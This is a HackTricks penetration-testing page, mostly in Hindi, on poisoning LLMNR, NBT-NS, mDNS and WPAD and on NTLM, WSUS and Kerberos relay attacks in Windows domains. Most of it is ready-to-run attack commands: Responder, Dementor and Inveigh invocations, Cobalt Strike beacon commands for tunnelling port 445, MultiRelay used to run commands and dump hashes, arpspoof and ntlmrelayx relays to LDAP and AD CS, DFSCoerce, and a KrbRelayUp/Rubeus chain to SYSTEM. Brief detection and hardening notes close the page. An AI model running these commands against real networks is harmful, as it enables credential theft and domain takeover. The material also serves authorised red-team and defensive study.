Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft और अन्य operating systems तब LLMNR और NBT-NS का उपयोग करते हैं जब DNS विफল हो जाता है ताकि local name resolution हो सके। इसी तरह, Apple और Linux systems mDNS का उपयोग करते हैं।
  • ये protocols UDP पर बिना authentication के, broadcast प्रकृति के कारण interception और spoofing के लिए संवेदनशील होते हैं।
  • Responder और Dementor का उपयोग इन protocols को query कर रहे hosts को forged responses भेजकर सेवाओं को impersonate करने के लिए किया जा सकता है।
  • Further information on service impersonation using Responder can be found here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD ब्राउज़रों को proxy settings स्वतः खोजने की अनुमति देता है।
  • Discovery DHCP, DNS के माध्यम से, या DNS विफल होने पर LLMNR और NBT-NS पर fallback के जरिए सुविधाजनक होती है।
  • Responder WPAD attacks को automate कर सकता है, clients को malicious WPAD servers की ओर निर्देशित करते हुए।

Responder/Dementor for Protocol Poisoning

  • Responder एक tool है जिसका उपयोग LLMNR, NBT-NS, और mDNS queries को poison करने के लिए किया जाता है, query types के आधार पर selective responses देता है, मुख्य रूप से SMB services को target करते हुए।

  • यह Kali Linux में pre-installed आता है, और इसे /etc/responder/Responder.conf पर configure किया जा सकता है।

  • Responder captured hashes को स्क्रीन पर दिखाता है और उन्हें /usr/share/responder/logs directory में सेव करता है।

  • यह IPv4 और IPv6 दोनों का समर्थन करता है।

  • Windows version of Responder is available here.

  • Dementor multicast poisoning के विषयों को बढ़ाता है और अतिरिक्त रूप से rogue service provider के रूप में कार्य करता है (जिसमें CUPS RCE support शामिल है)

  • कुल मिलाकर संरचना Responder की तरह है पर अधिक विस्तृत configuration के साथ। (default यहां है: Dementor.toml)

  • Dementor और Responder के बीच compatibility यहाँ दी गई है: Compatibility Matrix

  • Intro and Documentation here: Dementor - Docs

  • Responder द्वारा कुछ protocols पर पेश किए गए capture issues को ठीक करता है

Running Responder

  • To run Responder with default settings: responder -I <Interface>
  • अधिक aggressive probing के लिए (जिसके side effects हो सकते हैं): responder -I <Interface> -P -r -v
  • NTLMv1 challenges/responses को आसान cracking के लिए capture करने की तकनीकें: responder -I <Interface> --lm --disable-ess
  • WPAD impersonation को activate करने के लिए: responder -I <Interface> --wpad
  • NetBIOS requests को attacker’s IP पर resolve किया जा सकता है, और एक authentication proxy सेट अप किया जा सकता है: responder.py -I <interface> -Pv

Running Dementor

  • With detault settings applied: Dementor -I <interface>
  • With default settings in analysis mode: Dementor -I <interface> -A
  • Automatic NTLM session downgrade (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Run current session with custom config: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • DHCP responses को spoof करके victim के routing information को स्थायी रूप से poison किया जा सकता है, जो ARP poisoning की तुलना में अधिक stealthy विकल्प हो सकता है।
  • इसके लिए target network के configuration का सटीक ज्ञान आवश्यक होता है।
  • Attack चलाने के लिए: ./Responder.py -I eth0 -Pdv
  • यह विधि प्रभावी रूप से NTLMv1/2 hashes capture कर सकती है, लेकिन नेटवर्क disruption से बचने के लिए सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है।

Capturing Credentials with Responder/Dementor

  • Responder/Dementor उपरोक्त protocols का उपयोग करके सेवाओं का impersonate करेगा, और जब कोई user spoofed services के खिलाफ authenticate करने का प्रयास करता है तो credentials (आम तौर पर NTLMv2 Challenge/Response) capture करता है।
  • आसान credential cracking के लिए NetNTLMv1 तक downgrade करने या ESS को disable करने के प्रयास किए जा सकते हैं।

यह महत्वपूर्ण है कि इन techniques का उपयोग कानूनी और नैतिक रूप से किया जाए, proper authorization सुनिश्चित करते हुए और किसी भी disruption या unauthorized access से बचते हुए।

Inveigh

Inveigh Windows systems के लिए penetration testers और red teamers का एक tool है। यह Responder जैसी functionalities प्रदान करता है, spoofing और man-in-the-middle attacks को अंजाम देता है। यह tool PowerShell script से C# binary में विकसित हुआ है, Inveigh और InveighZero मुख्य versions हैं। विस्तृत parameters और निर्देशों के लिए wiki देखें।

Inveigh को PowerShell के माध्यम से operate किया जा सकता है:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

या C# बाइनरी के रूप में निष्पादित:

Inveigh.exe

NTLM Relay Attack

यह हमला SMB authentication sessions का उपयोग करके लक्षित मशीन तक पहुँच बनाता है, और सफल होने पर system shell प्रदान करता है। प्रमुख पूर्व-आवश्यकताएँ:

  • प्रमाणीकृत उपयोगकर्ता को रिले किए गए होस्ट पर Local Admin access होना चाहिए।
  • SMB signing अक्षम होना चाहिए।

445 Port Forwarding and Tunneling

ऐसे मामलों में जहाँ सीधे नेटवर्क प्रवेश संभव नहीं होता, पोर्ट 445 पर ट्रैफ़िक को फॉरवर्ड और टनल करना ज़रूरी होता है। जैसे टूल PortBender port 445 ट्रैफ़िक को किसी अन्य पोर्ट पर रीडायरेक्ट करने में मदद करते हैं, जो तब आवश्यक होता है जब driver loading के लिए Local Admin access उपलब्ध हो।

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack के लिए अन्य टूल्स

  • Metasploit: प्रॉक्सी, लोकल और रिमोट होस्ट विवरण के साथ सेट अप करें।
  • smbrelayx: SMB सत्रों को relay करने, कमांड निष्पादित करने या backdoors डिप्लॉय करने के लिए एक Python स्क्रिप्ट।
  • MultiRelay: Responder सूट से एक टूल जो विशिष्ट यूज़र्स या सभी यूज़र्स को relay करने, कमांड चलाने, या dump hashes करने के लिए।

प्रत्येक टूल को आवश्यकता पड़ने पर SOCKS proxy के माध्यम से संचालित करने के लिए कॉन्फ़िगर किया जा सकता है, जिससे अप्रत्यक्ष नेटवर्क एक्सेस के साथ भी हमले संभव होते हैं।

MultiRelay ऑपरेशन

MultiRelay को /usr/share/responder/tools डायरेक्टरी से चलाया जाता है, जो विशिष्ट IP पतों या उपयोगकर्ताओं को लक्षित करता है।

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

WSUS HTTP (8530) का दुरुपयोग करके NTLM Relay से LDAP/SMB/AD CS (ESC8)

WSUS क्लाइंट अपने अपडेट सर्वर के साथ NTLM के माध्यम से HTTP (8530) या HTTPS (8531) पर authenticate करते हैं। जब HTTP सक्षम होता है, तो स्थानीय सेगमेंट पर क्लाइंट के पीरियोडिक चेक-इन्स को मजबूर या इंटरसेप्ट करके ntlmrelayx के साथ LDAP/LDAPS/SMB या AD CS HTTP endpoints (ESC8) पर relay किया जा सकता है बिना किसी हैश को क्रैक किए। यह सामान्य अपडेट ट्रैफ़िक में घुल-मिल जाता है और अक्सर मशीन-खाता authentication (HOST$) देता है।

क्या देखना है

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Authenticated
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay के कदम

  1. MITM के लिए पोजिशन लें (उसी L2) ताकि क्लाइंट WSUS सर्वर को आपके पास resolve करे (ARP/DNS poisoning, Bettercap, mitm6, आदि)। arpspoof का उदाहरण: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. पोर्ट 8530 को अपने relay listener पर redirect करें (वैकल्पिक, सुविधाजनक): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. HTTP listener के साथ ntlmrelayx शुरू करें (HTTP listener के लिए Impacket समर्थन चाहिए; नीचे दिए PRs देखें): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

अन्य सामान्य लक्ष्य:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. किसी क्लाइंट चेक-इन को trigger करें या शेड्यूल का इंतज़ार करें। क्लाइंट से: wuauclt.exe /detectnow या Windows Update UI का उपयोग करें (Check for updates).

  2. authenticated SOCKS sessions का उपयोग करें (अगर -socks दिया हो) या direct relay परिणामों का उपयोग post-exploitation के लिए करें (LDAP changes, SMB ops, या बाद में authentication के लिए AD CS certificate issuance)।

HTTPS बाधा (8531)

  • WSUS over HTTPS का passive interception तब तक प्रभावहीन है जब तक क्लाइंट आपके certificate पर भरोसा न करें। बिना trusted cert या किसी अन्य TLS ब्रेक के, WSUS HTTPS ट्रैफ़िक से NTLM handshake को harvest/relay नहीं किया जा सकता।

नोट्स

  • WSUS को deprecated घोषित किया गया था पर यह अभी भी व्यापक रूप से तैनात है; HTTP (8530) कई वातावरणों में अभी भी सामान्य है।
  • उपयोगी सहायक उपकरण: wsusniff.py (HTTP WSUS check-ins देखें), wsuspider.sh (GPOs से WUServer/WUStatusServer को enumerate करें), NetExec reg-query at scale।
  • Impacket ने ntlmrelayx के लिए HTTP listener समर्थन PR #2034 में restore किया (मूल रूप से PR #913 में जोड़ा गया था)।

Force NTLM Logins

Windows में आप कुछ privileged accounts को arbitrary machines पर authenticate करने के लिए मजबूर कर सकते हैं। यह सीखने के लिए निम्नलिखित पृष्ठ पढ़ें:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack एक सेवा से एक AP-REQ ticket चुराता है और उसी computer-account key साझा करने वाली दूसरी सेवा के खिलाफ उसे फिर से उपयोग करता है (क्योंकि दोनों SPNs एक ही $ machine account पर बैठे होते हैं)। यह काम करता है भले ही SPNs की service classes अलग हों (उदा. CIFS/LDAP/) क्योंकि वह key जो टिकट को decrypt करती है वह मशीन का NT hash है, SPN स्ट्रिंग स्वयं नहीं, और SPN स्ट्रिंग signature का हिस्सा नहीं होती।

NTLM relay की तुलना में, यह hop उसी host तक सीमित है लेकिन, अगर आप किसी ऐसे प्रोटोकॉल को लक्ष्य बनाते हैं जो LDAP में लिखने देता है, तो आप chain कर सकते हैं Resource-Based Constrained Delegation (RBCD) या AD CS enrollment में और single शॉट में NT AUTHORITY\SYSTEM हासिल कर सकते हैं।

इस हमले के बारे में विस्तृत जानकारी के लिए देखें:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPProves the user to the KDCuntouched
Service ticket / TGS-REQ ↔ REPBound to one SPN; encrypted with the SPN owner’s keyinterchangeable if SPNs share account
AP-REQClient sends TGS to the servicewhat we steal & replay
  • टिकट उसी खाते की password-derived key से encrypt होते हैं जो SPN का मालिक है।
  • AP-REQ के अंदर Authenticator में 5-minute का timestamp होता है; उस विंडो के भीतर replay मान्य है जब तक सर्वर cache duplicate नहीं देखता।
  • Windows आमतौर पर यह बहुत कम जाँचता है कि टिकट में SPN string उस सेवा से मेल खाती है जिस पर आप हिट कर रहे हैं या नहीं, इसलिए CIFS/HOST के लिए टिकट आमतौर पर LDAP/HOST पर ठीक से decrypt हो जाता है।
    1. Kerberos relay करने के लिए क्या सत्य होना चाहिए
  1. Shared key: source और target SPNs का संबंध एक ही computer account से होना चाहिए (Windows सर्वरों पर डिफ़ॉल्ट)।
  2. No channel protection: SMB/LDAP signing बंद और HTTP/LDAPS के लिए EPA बंद हो।
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, आदि।
  4. Ticket source not already used: असली पैकेट के पहुँचने से पहले आप रेस जीतें या उसे पूरी तरह ब्लॉक करें; अन्यथा सर्वर का replay cache Event 4649 फायर करता है।
  5. आपको किसी तरह MitM करने में सक्षम होना चाहिए — शायद DNSAmins समूह का हिस्सा होकर domain के DNS को बदलने में सक्षम होना या पीड़ित के HOST file को बदल पाने की क्षमता।

Kerberos Relay Steps

  • 3.1 होस्ट की जाँच (Recon the host)
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 रिले लिसनर शुरू करें

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp एक बाइनरी में KrbRelay → LDAP → RBCD → Rubeus → SCM bypass को समेटता है।

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce DC को हमारे लिए Kerberos CIFS/DC01 टिकट भेजने के लिए मजबूर कर देता है।

  • 3.4 Relay the AP-REQ

KrbRelay SMB से GSS blob निकालता है, उसे LDAP bind में पैक करके ldap://DC01 पर आगे भेज देता है—प्रमाणीकरण सफल हो जाता है क्योंकि वही कुंजी इसे डिक्रिप्ट कर देती है।

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

अधिक पाथ जिन्हें जानना उपयोगी है

VectorTrickWhy it matters
AuthIP / IPSecनकली सर्वर किसी भी SPN के साथ GSS-ID payload भेजता है; क्लाइंट सीधे आप तक AP-REQ बनाता हैWorks even across subnets; machine creds by default
DCOM / MSRPCMalicious OXID resolver क्लाइंट को किसी भी SPN और पोर्ट पर auth करने के लिए मजबूर करता हैPure local priv-esc; sidesteps firewall
AD CS Web Enrollमशीन टिकट को HTTP/CA पर relay करें और cert पाएं, फिर PKINIT से TGTs mint करेंBypasses LDAP signing defenses
Shadow Credentialsलिखें msDS-KeyCredentialLink, फिर forged key pair के साथ PKINIT करेंNo need to add a computer account

Troubleshooting

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyगलत host/SPN
KRB_AP_ERR_SKEWClock > 5 min offsetसमय sync करें या w32tm का उपयोग करें
LDAP bind failsSigning लागू हैAD CS path का उपयोग करें या signing को अक्षम करें
Event 4649 spamService ने duplicate Authenticator देखामूल packet को block या race करें

Detection

  • कुछ सेकंड के भीतर उसी स्रोत से CIFS/, HTTP/, LDAP/ के लिए Event 4769 में तीव्र बढ़ोतरी।
  • सेवा पर Event 4649 replay का पता लगाने का संकेत देता है।
  • 127.0.0.1 से Kerberos logon (local SCM को relay) अत्यंत संदिग्ध है — KrbRelayUp दस्तावेज़ों में Sigma rule के माध्यम से map करें।
  • msDS-AllowedToActOnBehalfOfOtherIdentity या msDS-KeyCredentialLink attributes में बदलावों पर नजर रखें।

Hardening

  1. प्रत्येक सर्वर पर LDAP & SMB signing + EPA को लागू करें।
  2. Split SPNs ताकि HTTP उसी अकाउंट पर न हो जो CIFS/LDAP पर हो।
  3. coercion vectors (PetitPotam KB5005413, DFS, AuthIP) को patch करें।
  4. अवांछित कंप्यूटर जॉइन रोकने के लिए ms-DS-MachineAccountQuota = 0 सेट करें।
  5. Event 4649 और अप्रत्याशित loopback Kerberos logons पर अलर्ट सेट करें。

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें